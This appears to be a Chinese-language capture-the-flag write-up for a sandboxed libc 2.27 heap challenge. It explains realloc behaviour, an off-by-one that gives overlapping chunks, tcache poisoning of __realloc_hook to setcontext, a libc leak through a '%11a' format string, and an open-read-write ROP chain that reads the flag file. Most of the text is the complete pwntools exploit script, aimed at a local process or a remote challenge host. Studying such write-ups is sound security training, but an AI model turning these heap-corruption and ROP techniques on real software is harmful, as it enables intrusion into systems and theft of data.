libc 2.27,保护全开,开了沙箱禁用execve,直接看堆部分,整个堆部分就只有一个realloc

realloc用法
- realloc(heap_addr,0)==free(heap_addr)
- realloc(0,0x200)==malloc(0x200)
- realloc(heap_addr,size)==free(heap_addr)+malloc(size)+copy(old_addr--->new_addr) #size>old_chunk_size
- realloc(heap_addr,size)==free(heap_addr+size) #size<old_chunk_size
在read中存在off by one,可以实现改变chunk的size位进行堆叠修改fd位__realloc_hook为setcontext+53执行orw
关于libc的泄露,在buf中输入%a后再vfprintf+5234处会将0x7f624c9ec7e3变为浮点数,还不懂是什么原因


p.recvuntil(b"Do you have grilfriend ?")
p.send(b"78")
p.recvuntil(b"why ? reason")
p.sendline(b'%11a')
p.recvuntil(b'0x0.0')
libc_base = int(p.recv(12),16)-0x3ec7e3
print(hex(libc_base))
__realloc_hook=libc_base+libc.sym["__realloc_hook"]
setcontext=libc_base+libc.sym["setcontext"]+53
pop_rdi_ret=libc_base + 0x00000000000215bf
pop_rdx_ret=libc_base + 0x0000000000001b96
pop_rax_ret=libc_base + 0x0000000000043ae8
pop_rsi_ret=libc_base + 0x0000000000023eea
ret= libc_base + 0x0000000000023eea + 1
open_addr = libc.sym['open']+libc_base
read_addr = libc.sym['read']+libc_base
write_addr = libc.sym['write']+libc_base
chunk堆叠部分
先realloc(0x100)创建一个chunk

再切割realloc(0x40)

在分割realloc(0x18)这样子就可以串改chunk2为0xf0将chunk2和3合并成一个


再将重叠堆块的上方申请回来,但是size为不会变化

再次free会再0xf0的tcache bin中增加一个,接着申请回来并且修改重叠堆块下方的fd指针为__realloc_hook就是正常的orw环节了
完整exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./service"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
#gdb.attach(p,"b vfprintf")
else:
p=remote("node4.anna.nssctf.cn", 28320)
libc=ELF("./libc-2.27.so")
ld=ELF("./ld.so")
elf=ELF(filename)
context.arch=elf.arch
select=b">>"
def libc_base_recv():
return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
def add(size,content=b""):
p.sendlineafter(select, b"1")
#p.sendlineafter(b"Enter index: ", str(index).encode())
p.sendlineafter(b"size\n", str(size).encode())
p.sendlineafter(b"data", content)
def edit(index,size,content=b"a"):
p.sendlineafter(select, b"3")
p.sendlineafter(b"index: ", str(index).encode())
p.sendlineafter(b"len: ", str(size).encode())
p.sendlineafter(b"content: ", content)
def free():
p.sendlineafter(select, b"1")
p.sendlineafter(b"size", b"0")
def show(index):
p.sendlineafter(select, b"3")
p.sendlineafter(b"Enter index: ", str(index).encode())
p.recvuntil(b"Do you have grilfriend ?")
p.send(b"78")
p.recvuntil(b"why ? reason")
p.sendline(b'%11a')
p.recvuntil(b'0x0.0')
libc_base = int(p.recv(12),16)-0x3ec7e3
print(hex(libc_base))
__realloc_hook=libc_base+libc.sym["__realloc_hook"]
setcontext=libc_base+libc.sym["setcontext"]+53
pop_rdi_ret=libc_base + 0x00000000000215bf
pop_rdx_ret=libc_base + 0x0000000000001b96
pop_rax_ret=libc_base + 0x0000000000043ae8
pop_rsi_ret=libc_base + 0x0000000000023eea
ret= libc_base + 0x0000000000023eea + 1
open_addr = libc.sym['open']+libc_base
read_addr = libc.sym['read']+libc_base
write_addr = libc.sym['write']+libc_base
p.recvuntil(b">>")
p.send(b"3")
p.recvuntil(b"Do you have grilfriend ?")
p.send(b"89")
add(0x100)
add(0x40)
add(0x18,b"a"*0x18+p64(0xf0))
free()
add(0x20)
free()
add(0xe0,b"a"*0x20+p64(0)+p64(0xc1)+p64(__realloc_hook))
free()
add(0xb0)
add(0x100,b"a"*0x100)
p.recvuntil(b">>")
p.send(b"4")
heap_base=u64(p.recvuntil(b"\x0a1.",drop=True)[-6:].ljust(8,b"\x00"))-0x11d0
print(hex(heap_base))
flag=heap_base+0x1388
orw =p64(pop_rdi_ret)+p64(flag)
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(open_addr)
# read(3,heap+0x1010,0x30)
orw+=p64(pop_rdi_ret)+p64(3)
orw+=p64(pop_rsi_ret)+p64(heap_base+0x100)
orw+=p64(pop_rdx_ret)+p64(0x30)
orw+=p64(read_addr)
# write(1,heap+0x1010,0x30)
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(pop_rsi_ret)+p64(heap_base+0x100)
orw+=p64(pop_rdx_ret)+p64(0x30)
orw+=p64(write_addr) + b"./home/ctf/flag.txt\x00"
free()
add(0x200,b"a"*0x10+orw)
free()
add(0xb0,p64(setcontext)+b"\x00"*0x98+p64(heap_base+0x11e0+0x110)+p64(ret))
#gdb.attach(p,"b *$rebase(0xDA5)")
add(0x60)
#gdb.attach(proc.pidof(p)[0])
p.interactive()
Comments NOTHING